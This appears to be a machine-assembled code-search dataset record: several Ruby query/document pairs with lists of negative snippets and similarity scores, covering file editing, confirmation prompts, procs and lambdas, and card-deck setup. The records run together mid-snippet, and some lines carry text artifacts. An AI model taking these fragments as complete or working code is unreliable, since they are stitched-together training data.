recordset12=statement12.fetch do\n\t\t#fetch quantity from shoping card and update stock in products \n\t\t\t\[email protected](\"update products set p_stock=p_stock-(select quantity from \n\t\t\t\t\tinline_products where p_id=? and card_no=?) where p_id=?\")\t\t\t\n\t\t\t\tstatement13.execute(recordset12[0],@card_no,recordset12[0])\n\t\t\t\t\n\t\t\tend\n\t\t#call print_bill method\n\t\t\tprint_bill\n\n\t\telsif option==\"n\" or option==\"N\"\n\t\t#call delete_entry method\n\t\t\tdelete_entry\n\t\t#delete user details if user not buy anything\n\t\t\[email protected](\"delete from users where user_id=?\")\n\t\t\tstatement.execute(@user_id)\n\n\t\t\texit -1\n\n\t\telse\n\t\t\tputs \"\\n\\n\\t\\tInvalid Choice!!!...Try again\"\n\t\t#call stock_chnage method\n\t\t\tstock_change\n\t\tend\n\tend", "def confirming?\n self.status == 'confirming'\n end", "def ask(what, title)\n @dialog.title = \"\\\"#{title}\\\"\"\n \n res = @dialog.inputbox(\"'#{what}'\")\n \n raise CancelPressed.new unless res\n \n res\n end", "def cancel_event?\n puts \"WARNING: Action can not be undone.\".colorize(:yellow)\n self.class.prompt.select(\"Are you sure you want to cancel this event?\") do |menu|\n menu.choice \"Yes\", -> {cancel_event_confirmed}\n menu.choice \"No\"\n end\n end", "def confirmation\n # Read the confirmation data from the request\n @confirmation = TBK::Webpay::Confirmation.new({\n request_ip: request.ip,\n body: request.raw_post\n })\n\n # confirmation is invalid for some reason (wrong order_id or amount, double payment, etc...)\n if @confirmation.amount != 5000.0\n render text: @confirmation.reject\n return # reject and stop execution\n end\n\n if @confirmation.success?\n # EXITO!\n # perform everything you have to do here.\n self.last_confirmation = @confirmation\n end\n\n # Acknowledge payment\n render text: @confirmation.acknowledge\n end", "def confirm\n rpc(action: :block_confirm, param_name: :hash)[:started] == '1'\n end", "def modify_contact\n\t\tprint_modify_contact\n \tmodify_attribute = gets.chomp.to_i\n\n \tif modify_attribute == 5 \t\n \t\tmain_menu \n \telse \n\t \tputs \"Are you sure you want to change this attribute [Y/N]\"\n\t \tconfirm = gets.chomp\n\t \tif confirm.downcase == \"y\"\n\t \t\tmodify_contact_option(modify_attribute)\n\t \telse\n\t \t\tmodify_contact\n\t \tend\n\t end\n\tend" ]
[ "0.74216497", "0.7254088", "0.7144451", "0.7043146", "0.6910561", "0.6909471", "0.68409014", "0.6840304", "0.6840304", "0.6826939", "0.67771095", "0.6710017", "0.6705021", "0.6697442", "0.66584504", "0.66324043", "0.6614772", "0.6575333", "0.6533774", "0.65085596", "0.6508088", "0.65028137", "0.6499006", "0.6492136", "0.6445823", "0.64380693", "0.6428394", "0.64274395", "0.6391806", "0.6379267", "0.6346696", "0.6324198", "0.6308666", "0.63049996", "0.62879163", "0.6261857", "0.62601155", "0.6243347", "0.62306136", "0.6216133", "0.6175056", "0.6156445", "0.6156343", "0.61537004", "0.6150471", "0.6135362", "0.61132574", "0.60845286", "0.60719395", "0.60580516", "0.60392725", "0.6030863", "0.5997265", "0.5993828", "0.5993828", "0.5992347", "0.59698", "0.5969669", "0.5968817", "0.596604", "0.59649533", "0.59649533", "0.59620976", "0.59417707", "0.5939599", "0.593107", "0.5925696", "0.59128124", "0.59052247", "0.5898125", "0.58959424", "0.5890637", "0.58869743", "0.58546615", "0.585446", "0.585446", "0.5852116", "0.58491385", "0.58427745", "0.5840482", "0.5835425", "0.5834386", "0.5832284", "0.5814601", "0.58143634", "0.5808782", "0.5804237", "0.58029157", "0.5798431", "0.579751", "0.57897735", "0.5789106", "0.57889235", "0.5788797", "0.5786656", "0.5782402", "0.5777067", "0.5775629", "0.5774733", "0.5771554" ]
0.6006368
52
Returns bool value for info if changes made correctly or rather problem occurs.
def make line_to_change, phrase_we_have_now, phrase_we_want_to_have, file_path verbose = $conf[:verbose] if verbose puts "\e[39m-----------------------------" puts "I'm changing:\n#{phrase_we_have_now}" puts '-----------------------------' puts "to:\n#{phrase_we_want_to_have}" puts '-----------------------------' end #Change every occurence puts "in file:\n#{file_path}" if verbose data = File.read(file_path) puts "\n\e[31m++Old version: \e[30m\n" if verbose puts data + "\n" if verbose line_changed = line_to_change.gsub(phrase_we_have_now, phrase_we_want_to_have) data.sub! line_to_change, line_changed puts "\n\e[32m++New version: \e[30m\n" if verbose puts data + "\n" if verbose puts "\e[31mOld line:\n #{line_to_change}\e[32m\nNew line:\n#{line_changed}\e[30m" #Standard info. verbose = true -> shows all file #Write the file res = false res = File.open(file_path, "w") do |f| f.write(data) end if res return true end false end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def changed?\n\t\treturn self.changed_reason ? true : false\n\tend", "def changed?\n !!@changed\n end", "def changed?\r\n @changed\r\n end", "def modified?\n\t\treturn @dirty ? true : false\n\tend", "def modified?\r\n @modified\r\n end", "def changed? \n @changed == true\n end", "def changed?\n @changed\n end", "def changed?\n @changed\n end", "def changed?\n if update_type == :no_change\n false\n else\n true\n end\n end", "def modified?\n @modified\n end", "def changed?\n raw?\n end", "def changed?\n changes.changed?\n end", "def has_changes?\n @has_updated || @has_created\n end", "def modified?\n\t\t@modified\n\tend", "def update_failed?\n @update_failed\n end", "def modified?\n @modified\n end", "def modified?\n @modified\n end", "def has_changes?\n @has_changed_the_db\n end", "def dirty?\n @changes && @changes.size > 0\n end", "def has_changes?\n (@edited_rows_codes.count > 0) || (@destroyed_rows_codes.count > 0)\n end", "def diffable?\n true\n end", "def errors?\n\t\treturn !self.okay?\n\tend", "def errors?\n\t\treturn !self.okay?\n\tend", "def correction?\n false\n end", "def dirty?\n @changes.length > 0\n end", "def changed?\n true\n end", "def might_be_an_error_correction?\n if too_many_words?\n @logger.debug(\"Too many words changed in edition\")\n return false\n end\n\n if difference_in_words_count?\n @logger.debug(\"Difference in the number of words in edition\")\n return false\n end\n\n if too_big_difference_in_length?\n @logger.debug(\"Too large length difference in edition\")\n return false\n end\n\n if non_words_change?\n @logger.debug(\"No word changed in edition\")\n return false\n end\n \n return true\n end", "def modified?\n\t\treturn self.status == 'M'\n\tend", "def dirty?\n !!culprit\n end", "def modified?\n getvalue() != @original_value\n end", "def modified?\n getvalue() != @original_value\n end", "def have_you_updated_changelog?\n if changelog_changes?\n true\n elsif file_changes?\n warn_update_changelog\n false\n else\n true\n end\n end", "def success?\n [missing, unexpected, no_diffs, invalid_syntax].all?(&:empty?)\n end", "def change?\n updated? || deleted?\n end", "def diffable?\n false\n end", "def diffable?\n false\n end", "def dirty?\n @dirty\n end", "def dirty?\n @dirty\n end", "def dirty?\n @dirty\n end", "def dirty?\n @dirty\n end", "def dirty?\n @dirty == true\n end", "def dirty?\n !!@dirty\n end", "def handle_silent_modification_failure?\n false\n end", "def local_changed?\n # TODO\n end", "def admin_changed?\n # no change: false\n # false <-> nil: false\n # false|nil <-> true: true\n !!changes['admin'].try {|from, to| !!from != !!to}\n end", "def modified?\n\t\t\t@dirty || @hash.values.find do |obj|\n\t\t\t\tobj.is_a?( ConfigStruct ) && obj.modified?\n\t\t\tend\n\t\tend", "def changed?\n !changed_attributes.empty?\n end", "def anything_changed?\n @any_changes ||=\n ! @status.match(/nothing to commit.*working directory clean/)\n end", "def dirty?\n @dirty||=:true\n @dirty==:true\n end", "def handle_silent_modification_failure?\n self[:raise_on_save_failure] == false\n end", "def dirty?\n @dirty || false\n end", "def updateable?\n return false if tst_plan_name.nil?\n return false if tst_project_name.nil?\n return true\n end", "def info?\n !success?\n end", "def has_changes_to_save?\n mutations_from_database.any_changes?\n end", "def content_changed?\n changed? && changes.keys != ['is_current']\n end", "def retrieve_success?\n replication.update_admin\n success = replication.store_requested\n raise \"Admin node did not accept fixity: #{replication.fixity_value}\" unless success\n replication.update_local\n end", "def update_result_ok?(update_result)\n update_result.is_a?(Hash) && update_result[\"updatedExisting\"] == true\n end", "def data_changed?\n changes.include?(\"data\")\n end", "def saved_version_changes?\n track_altered_attributes ? (version_if_changed - saved_changes.keys).length < version_if_changed.length : saved_changes? # rubocop:disable Layout/LineLength\n end", "def dirty?\n flags & 0x1 == 0x1\n end", "def changed_notably?\n if @is_touch && changes_in_latest_version.empty?\n true\n else\n super\n end\n end", "def modified?\n new?\n end", "def changed?\n !!@previous\n end", "def modified_existing?\n false\n end", "def change?\n type == 'change'\n end", "def success?\n !error\n end", "def dirty?\n\t\treturn self.identify.dirty?\n\tend", "def is_dirty?\n return true if options[:dirty] == true\n return false\n end", "def updated?\n return @_updated\n end", "def changed?\n mutations_from_database.any_changes?\n end", "def success?\n @error == false\n end", "def ok?\n !@error\n end", "def updated?\n command.success?\n end", "def has_changes?\r\n @source_files.size > 0\r\n end", "def ok?\n @ok\n end", "def magic_coat_affected?\n return data.magic_coat_affected\n end", "def bug?\n !self.bug.to_i.zero?\n end", "def dirty?\n false\n end", "def save_version?\n\t\t\t \t\tchanged?\n\t\t\t \tend", "def changed?\n @value_was != value\n end", "def updated?() updated.present?; end", "def is_modified?\n !editor.nil?\n end", "def changed?\n #card_type_changed?\n ret=(changed & DB_FIELDS).present? || VIRTUAL_FIELDS.any? {|attr| self.send(attr).present?}\n ret\n end", "def changed_notably?\n if ignored_attr_has_changed?\n timestamps = @record.send(:timestamp_attributes_for_update_in_model).map(&:to_s)\n (notably_changed - timestamps).any?\n else\n notably_changed.any?\n end\n end", "def uncommitted_changes?\n inform \"Checking for any uncommitted changes...\"\n if nothing_to_commit?\n inform \"All changes committed :)\"\n false\n else\n inform \"You have uncommitted changes. Please commit them first, then run `rake release` again.\"\n true\n end\n end", "def errors?\n !success?\n end", "def warning?\n @result.retval == 1\n end", "def save_version?\n version_condition_met? && altered?\n end", "def changed?\n render unless result\n if exist?\n File.read(output) != result\n else\n true\n end\n end", "def broken?\n @broken == :broken \n\tend", "def save\n !update_case.has_key?(\"error\")\n end", "def error?\n false\n end", "def updated?\n false\n end", "def fixed?\n @fixed == 'yes'\n end", "def anything_changed?\n self.changed?;\n end", "def changed?\n !@newly_set_features.empty?\n end", "def working?\n false\n end", "def broken?\n\t\t@broken\n\tend", "def ok?\n @ok\n end", "def changed?\n if defined? @observer_state and @observer_state\n true\n else\n false\n end\n end", "def is_valid_for_execution\n (@metadata[\"short_dest_repo_name\"] == \"osrf/gazebo\" and @pr_status == :update) ? false : true\n end" ]
[ "0.74104035", "0.7173952", "0.7164767", "0.71090674", "0.70800674", "0.7068852", "0.7040347", "0.7005509", "0.6994847", "0.69840413", "0.69694996", "0.69585305", "0.6942907", "0.69428205", "0.69324017", "0.69266444", "0.69266444", "0.69144946", "0.69054776", "0.68297714", "0.68136376", "0.6794905", "0.6794905", "0.6789749", "0.67798066", "0.6776921", "0.67633265", "0.674339", "0.6709812", "0.6693013", "0.6693013", "0.6676122", "0.667591", "0.66557133", "0.6635488", "0.6635488", "0.66114825", "0.66114825", "0.66114825", "0.66114825", "0.6611364", "0.65743554", "0.65581787", "0.65172625", "0.65158856", "0.6503333", "0.6498403", "0.6492866", "0.64919186", "0.64902925", "0.64838046", "0.6481186", "0.6478391", "0.6475919", "0.64701885", "0.64684606", "0.6467833", "0.64653903", "0.6443825", "0.6440627", "0.6436857", "0.6435914", "0.6432908", "0.6432905", "0.6423111", "0.64207244", "0.63978165", "0.6392489", "0.6380616", "0.63690925", "0.6360195", "0.6360001", "0.63596654", "0.63584006", "0.63414234", "0.6340318", "0.63372004", "0.63365877", "0.63294417", "0.6317353", "0.6303809", "0.63017154", "0.62991476", "0.62989664", "0.62954366", "0.62902457", "0.628409", "0.62715137", "0.62649876", "0.62574255", "0.625054", "0.62461805", "0.6242482", "0.6242118", "0.6235679", "0.62346756", "0.62328404", "0.62248737", "0.62235564", "0.6217475", "0.621294" ]
0.0
-1
What will it return?
def execute(&block) block end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def result; end", "def returns; end", "def return_value; end", "def return_type; end", "def return_type; end", "def return_type; end", "def original_result; end", "def private; end", "def result?; end", "def result()\n end", "def who_we_are\r\n end", "def r; end", "def r; end", "def probers; end", "def result\n end", "def what_is\n end", "def out; end", "def returns=(_arg0); end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def inspect; end", "def result_of_setting; end", "def result_code; end", "def result_code; end", "def get_actual\n end", "def getc()\n #This is a stub, used for indexing\n end", "def informational?; end", "def number_returned; 0; end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def inspect\n end", "def getc() end", "def getc() end", "def getc() end", "def return_value\n @return_value\n end", "def next_result()\n #This is a stub, used for indexing\n end", "def verdi; end", "def respond(); end", "def weber; end", "def result\n\n end", "def schubert; end", "def result_of_checking; end", "def value() end", "def inspect\n end", "def inspect\n end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end", "def inspect() end" ]
[ "0.73123395", "0.73123395", "0.73123395", "0.73123395", "0.73123395", "0.73123395", "0.73123395", "0.73123395", "0.7302111", "0.7262517", "0.7241289", "0.7241289", "0.7241289", "0.70424354", "0.67376614", "0.668079", "0.660926", "0.65817434", "0.6544071", "0.6544071", "0.6463795", "0.6390792", "0.6385306", "0.6382311", "0.6369325", "0.63579124", "0.63579124", "0.63579124", "0.63579124", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.63039047", "0.627903", "0.6263701", "0.6263701", "0.6263074", "0.6250752", "0.6240607", "0.61924607", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.6187173", "0.61613244", "0.61613244", "0.61613244", "0.61496127", "0.61402714", "0.6134781", "0.61251944", "0.61141926", "0.6109834", "0.61038697", "0.60983604", "0.6089954", "0.6083553", "0.6083553", "0.6079812", "0.6079812", "0.6079812", "0.6079812", "0.6079812", "0.6079812", "0.6079812", "0.6079812", "0.6079812" ]
0.0
-1
The program will print nothing to the screen because it miss the call method The program will return a Proc object Modify the code in exercise 2 to make the block execute properly.
def execute(&block) block.call end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def test1\n p = Proc.new { return }\n p.call\n puts “This line can’t display”\nend", "def proc_demo_method\n proc_demo = Proc.new { return \"Only I print!\" }\n proc_demo.call\n \"But what about me?\" # Never reached\nend", "def test\r\n puts \"Enter in methods\"\r\n p = Proc.new {p \"Entering block\"; return }\r\n p.call\r\n p \"Existing methods\"\r\nend", "def procasaurus( &block )\n\tputs \"I am a procasaurus.\"\n\tputs block.class\n\t# note the proc must be the last parameter and must start with ampersand\nend", "def go\n a = Proc.new do \n puts 'Proc'\n\n return\n end\n\n methods(&a)\n\n puts 'end go'\nend", "def sampleProc\n procOne = Proc.new { return \"Proc block!\" }\n procOne.call\n \"Last Proc statement!\"\nend", "def batman_ironman_proc\r\n victor = Proc.new { return \"Batman will win!\" }\r\n puts victor.call\r\n \"Iron Man will win!\"\r\nend", "def run_block\n p = Proc.new # <1>\n p.call\nend", "def batman_ironman_proc #will return batman will win\n victor = Proc.new { |n| return \"Batman will win!#{n}\" }\n victor.call(3)\n \"Iron Man will win!\"\nend", "def return_from_proc\n a = Proc.new { return 10 }.call\n # 1.times { return 10 }\n puts \"This will never be printed.\"\nend", "def metodo proc1\n\tputs 'Start'\n\tproc1.call\n\tputs'Fin'\nend", "def dietproc\n status=Proc.new{return \"You gave in!\"} #explict return skips the part of code so removing return\n status.call\n \"You completed the diet!\"\nend", "def return_test\n\tl = lambda { return }\n\tl.call\n\tputs \"Still here!\"\n\tp = Proc.new { return }\n\tp.call\n\tputs \"You won't see this message!\"\nend", "def procTest\n\t# Create a new Proc\n\tmultiplesOfThree = Proc.new { |n| n % 3 == 0 }\n\n\t# (1..100).to_a gives an array of integers from 1 to 100\n\t# \"Array.select\" selects only the items for which the original block returned true\n\ta = (1..100).to_a\n\ta.select!(&multiplesOfThree)\n\ta.each { |value| puts \"#{value} \" }\n\n\t# Calling a Proc\n\thello = Proc.new { puts \"Hello!\" }\n\thello.call\nend", "def proc_return\n my_proc = Proc.new {return}\n my_proc.call\n puts \"Will this be printed (Proc)\"\nend", "def proc_example\n\tsay_hi = proc {|name| puts \"Hi #{name}\"}\n\tsay_hi.call(\"Ganesh\")\nend", "def batman_ironman_proc #calls a proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend", "def proc_return_demo\n some_proc = Proc.new { return \"proc returns\"}\n some_proc.call\n \"method returns\"\nend", "def my_proc\n\n\tputs \"first proc\"\n\n\tproc1 = proc {\n\n\t\tputs \"second proc\"\n\t\t#breaak or return\n\n\t}\n\n\tproc1.call\n\tputs \"last proc\"\nend", "def proc_return\n my_proc = Proc.new { return }\n my_proc.call\n puts \"This will not be printed\"\nend", "def new_proc\n proc1 = Proc.new{return \"I got it....\"}\n proc1.call\n \n return \".. but not that\"\nend", "def proc_sample\n proc = proc { return 'world' }\n 'hello ' << proc.call\nend", "def proc_method\n p = Proc.new { return \"\\nreturning from proc\\n\"} \n p.call\n print \"\\nStatement after proc\\n\"\nend", "def my_method\n x = Proc.new{return}\n x.call\n p \"Text from within the method\"\nend", "def create_proc_with_return\n proc = Proc.new { return puts \"I am a proc with return\" }\n #on check on numbers of paramaters\n proc.call()\n # will not be executed!\n puts \"I am behind proc's call that with a return \"\nend", "def call_proc\n\tputs \"Before proc\"\n\tmy_proc = Proc.new { return 2 } \n\tmy_proc.call\n\tputs \"After proc\"\nend", "def test\r\n puts \"Enter in methods\"\r\n p = Proc.new { p \"Entering proc\"; break }\r\n p.call\r\n p \"Existing methods\"\r\nend", "def diet2\n status = Proc.new { return 'You gave in!' }\n status.call\n 'You completed the diet!'\nend", "def test(&block) # converts the argument to a \"simple\" Proc object\n puts \"What's &block? It's #{block}\" # can be called anything\nend", "def run_block_3\n p = Proc.new # if new proc is not passed a code block, it looks to see if the current scope has been passed a code block and use that\n p.call # if current scope has not been passed a code block, there will be an error\nend", "def hola &block\n puts block.class.name #esta linea nos dice que esto es un proc\n block.call\nend", "def proc_in_return\n proc_func = proc {\n return\n }\n proc_func.call\n\n \"mew\"\n end", "def batman_ironman_proc\r\n victor = Proc.new { return \"Batman will win!\" }\r\n victor.call\r\n \"Iron Man will win!\"\r\nend", "def run_couple\n run_a_proc proc { puts 'I am a proc'; return }\n p 'you will not see me'\n run_a_proc lambda { puts 'I am a lambda'; return }\nend", "def my_method1(&the_proc) # Convert Block to Proc\n puts the_proc.call(\"Bill\") # Use as Proc, just drop \"&\" and you will receive the block\n puts yield(\"Bill\") # Use as Block\nend", "def another_proc\n\tp = Proc.new {return}\n\tp.call\n\tputs \"After Proc\"\nend", "def call_proc\n puts \"Before proc\"\n my_proc = Proc.new { return 2 }\n my_proc.call\n puts \"After proc\"\n\nend", "def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" } # Proc returns immediately, without going back to the batman_ironman_proc method.\n victor.call\n \"Iron Man will win!\"\nend", "def greeting(arrange_proc)\n puts 'good morning'\n text = arrange_proc.call('hello')\n puts text\n puts 'good evening'\nend", "def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend", "def batman_ironman_proc\n victor = Proc.new { return \"Batman will win!\" }\n victor.call\n \"Iron Man will win!\"\nend", "def run_block\n p = Proc.new\n p.call\nend", "def procedure(returntype, name, number, argtype, &block)\n\t\tnewproc = Procedure.new(number, returntype, argtype, &block)\n\t\tadd_procedure(name, number, newproc)\n\tend", "def meth5\n p = lambda { return 99 } \n result = p.call \n \"The block returned #{result}\"\nend", "def block_message_printer\n message = \"Welcome to Block Message Printer\"\n if block_given?\n proc.call\n end\n puts \"But in this function/method message is :: #{message}\"\n end", "def proc_return\n Proc.new { return \"Proc.new\"}.call\n return \"proc_return method finished\"\nend", "def main\r\n call_block {|str, num| puts str + ' ' + num.to_s}\r\n end", "def greeting(&block)\n puts 'good morning'\n text = block.call('hello')\n puts text\n puts 'good evening'\nend", "def greeting(&block)\n puts 'good morning'\n text = block.call('hello')\n puts text\n puts 'good evening'\nend", "def call_proc\n puts \"Before proc\"\n my_proc = Proc.new { return 2 }\n my_proc.call\n puts \"After proc\"\nend", "def call_block\n\tputs \"Start of method\"\n\tyield\n\tyield\n\tputs \"End of method\"\nend", "def thisIsAMethod myProc\n puts 'SILENCE!!! I have an announcement'\n myProc.call\n puts 'As you were!'\n\nend", "def ret_proc \n proc = Proc.new { return \"a return from inside the proc returns not only from the proc, but the enclosing method itself, unlike a lambda.\"}\n proc.call\n return \"returning from inside the method\"\n end", "def run_proc_or_lambda(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend", "def test(p)\n print \"Start\"\n p.call\n print \"End\"\nend", "def check_return(proc4)\n proc4.call\n puts \"Puts string after return was called\"\nend", "def calculate\n puts \"#{3+4} is equal to 7\"\n yield\n yield\n puts \"after this is block\"\n\nend", "def my_method\n \n puts \"before proc\"\n\n my_proc = lambda{\n puts \"Inside proc\"\n #return\n #break\n }\n\n my_proc.call\n puts \"after proc\"\n\nend", "def test_proc\n Proc.new { p \"Exit from proc.\" and return }.call\n p \"Exit from proc method\" and return\nend", "def proc_method\n my_proc = Proc.new { return \"I'm a proc\"}\n my_proc.call\n \"Last line of proc_method\"\nend", "def run_proc_or_lambda_2(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend", "def run_proc_or_lambda_2(blockblock)\n puts \"station 1 of 3\"\n blockblock.call\n puts \"station 3 of 3\"\nend", "def program() @program end", "def diet_proc\n status = Proc.new { return \"You gave in\"}\n status.call\n \"You completed the diet\"\nend", "def test\n\tputs \"Entering method\"\n\tp = Proc.new { puts \"Entering Proc\"; break }\n\tbegin \n\t\tp.call # => LocalJumpError\n\trescue \n\t\tputs \"We got an error breaking!\" \n\tend\n\tputs \"Exiting method\"\nend", "def method_that_takes_a_block(&blk)\n p blk.call(\"hello\")\n p blk.call(\"World!\")\nend", "def b_method()\n Proc.new { return \"we return from proc\" }.call\n return \"return from method\"\nend", "def proc_method(&my_proc)\n puts \"method start\"\n my_proc.call\n puts \"method end\"\nend", "def block_vs_proc_lamda\n #puts $catch_block\n print \"In method: before yield\\n\"\n yield\n print \"In method: after yield\\n\"\n \n p = Proc.new { |my_var| print \"in method in proc and parameter is: #{my_var}\\n\"} \n p.call 10\n l = lambda { |lamda_var| print \"in method in lambda and parameter is: #{lamda_var}\\n\"}\n l.call 11 \n #puts $catch_block\n 10\nend", "def method\n\t[1,2,3].each do |val| # Proc.new\n\t\tputs val\n\t\treturn if val > 2 \n\tend\nend", "def display_proc(&block)\n #defined by default_for_proc_type in initialize!\n end", "def hello(&block)\n puts block\n block.call\nend", "def proc_lamda_dif_one\n p = Proc.new { |num1, num2| \n num3= num1+num2 \n puts \"\\nProc executes even if it has less or more number of parameters\\n\"\n } \n p.call 50, 55, 60\n\n print \"\\n\\nFollowing Error with lamda if it has more or less no of arguments\"\n print \" than no of parameters it is catching showing the difference between \"\n print \" proc and lamda: \\n\\n\"\n l = lambda { |num1, num2| puts num1+num2 } \n l.call 50, 55, 60\nend", "def call_a_proc(&block)\n block.call\nend", "def proc_method\n my_proc = Proc.new { return \"I'm a proc!\"}\n my_proc.call\n \"Last line of proc method\"\nend", "def fred(param)\n proc {}\nend", "def print_result(&block)\n result_from_block = block.call()\n puts result_from_block\nend", "def proc_method\n\tproc_a = proc { |x| return x }\n\tproc_a.call(@expected_proc_return)\n\t\"unexpected proc return\"\nend", "def practice (superProc)\n\t\tputs 'I got a new trick'\n\n\t\tsuperProc.call\n\n\t\tputs 'Yeah, look at that, I can take whatever you come up with'\n\tend", "def talk_about(n, &myprc)\n puts \"Let me tell you about... #{n}\"\n myprc.call(n)\nend", "def procasaurus( p1, p2, p3 )\n\tputs p1.call\n\tputs p2.call\n\tputs p3.call\nend", "def meth2\n put yield(8)\nend\n\nsquare = proc {|i| i*i}\n\nmeth2 {|i| i + i}\nmeth2 &square # the last actual argument in a method invocation is a Proc object, precede it with & to convert it into a block. The method may then use yield to call it\n# class\nclass Cla\t# class names always begin with a captial letter\n include MIXIN\n prepend MODULE\n\n attr_reader :name # read only\n attr_accessor :content, :time, :mood # read/write\n attr_writer :age\n\n def initialize(mood, content=\"\")\t# called when new object is created\n\t@time = Time.now\n\t@content = content[0..39]\n\t@mood = mood\n end\n\n def <=> (other) # spaceship operator\n\ttime <=> other.time\n end\n\n def set=(val) # methods with = append must be called with an explicit receiver\n @content = val\n puts @content\n end\nend\ninstance = Cla.new :confused, \"a new message\"\ninstance = Cla.new (:confused, \"a new message\"", "def call_block\r\n puts \"Start of method\"\r\n yield\r\n yield\r\n puts \"End of method\"\r\nend", "def proc_math\n Proc.new { return 1 + 1 }.call\n return 2 + 2\nend", "def say_hello(&block)\n puts \"Hello world\"\n name = block.call\n puts \"You entered #{name} as your name\"\nend", "def ejecutar2(&bloque)\r\n if block_given?\r\n bloque.call #same as yield\r\n else\r\n puts 'No tiene bloque asignado'\r\n end\r\nend", "def compute(par)\n block_given? ? yield(par) : \"Does not compute.\"\nend", "def talk_about(name, &myproc) #so ruby (and us) know we are adding a proc prefix it with a ambersand &\n puts \"Let me tell you about #{name}\"\n myproc.call(name) #in the body it doesnt need a ambersand & only in the definition\nend", "def talk_about(name, &myprc)\n puts \"Let me tell you about #{name}.\"\n myprc.call(name)\nend", "def quux\n block = proc do\n break 'quux: proc break'\n end\n block.call\n return 'quux: post proc'\nend", "def proc_math\n Proc.new { return 1 + 1 }.call\n\n return 2 + 2\nend", "def return_with_Proc\n f = Proc.new { return \"return inside block\" }\n f.call\n v = f.call\n return \"#{v}: return from method_end\" \nend", "def test_procs_and_lambdas\n yield\n puts \"hello\"\nend", "def pets\n yield\n puts \"Luna\"\n puts \"B\"\nend", "def be_proc(&block)\n block.call\n puts block.class\nend", "def my_method\n \n puts \"before proc\"\n \n my_proc = lambda{\n \n puts \"Inside proc\"\n break\n }\n \n my_proc.call\n puts \"after proc\"\n \nend", "def call_block\n puts \"start\"\n yield \"foobar\" if block_given?\n puts \"end\"\nend", "def batman_ironman_proc\n\t victor = Proc.new { return \"Batman will win!\" } # when a proc returns, it does so immediately, without going back to the calling method.\n\t victor.call\n\t \"Iron Man will win!\" \n\tend", "def doSelfImportantly someProc\n puts 'Everybody just HOLD ON! I have something to do...'\n someProc.call # will call the prac\n puts 'Ok everyone, I\\'m done. Go on with what you were doing.'\nend", "def take_block(p1)\n if block_given?\n yield(p1)\n else\n puts p1\n end\nend", "def pass_proc1 (proc1, proc2, number, proc3)\n proc1.call\n proc2.call\n proc3.call \n Proc.new { puts \"#{number} procs have been passed as arguments to the currently executing method #{__method__.to_s}\" }.call\n proc5 = Proc.new {puts \"A proc can be output from a method. This is the second property of higher-order functions\"} \nend" ]
[ "0.73825675", "0.7218275", "0.7154397", "0.7005914", "0.6976142", "0.6963315", "0.69449365", "0.6862105", "0.6861901", "0.67856205", "0.67787856", "0.6759689", "0.6700532", "0.6697541", "0.6685185", "0.66722995", "0.66722345", "0.66715515", "0.6641204", "0.66341424", "0.6618271", "0.6604663", "0.6596277", "0.65948397", "0.65931374", "0.6562653", "0.6550394", "0.652948", "0.650783", "0.65051657", "0.6500383", "0.648862", "0.64605314", "0.64590216", "0.6457959", "0.64388394", "0.64344084", "0.6418326", "0.64148057", "0.6370212", "0.6370212", "0.63504153", "0.6347208", "0.6346587", "0.633141", "0.6323556", "0.6310368", "0.63032335", "0.63032335", "0.6302767", "0.6281775", "0.6277111", "0.6271375", "0.62539405", "0.62409556", "0.62309295", "0.6224762", "0.6206628", "0.6190604", "0.6176678", "0.6175136", "0.6175136", "0.6160631", "0.61560553", "0.6154326", "0.6153008", "0.61347777", "0.612749", "0.61250156", "0.6123453", "0.6121876", "0.61122453", "0.61089927", "0.6103146", "0.60787994", "0.60771084", "0.60707706", "0.60671127", "0.60647345", "0.6062082", "0.6054391", "0.6053512", "0.6037453", "0.6026698", "0.6022091", "0.6021114", "0.60071796", "0.60040367", "0.60025716", "0.5986756", "0.5984231", "0.5974143", "0.59704274", "0.5965839", "0.5959241", "0.59539473", "0.59393275", "0.5934703", "0.5925138", "0.5894281", "0.58905303" ]
0.0
-1
attr_accessor :initial_size def initialize
def populate_deck # self.initial_size.times do # new_card_class = Card.library.values.sample # new_card = new_card_class.new # self.cards << new_card # end 40.times do new_card_type = Card.library.values.sample new_card = new_card_type.create self.cards << new_card end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
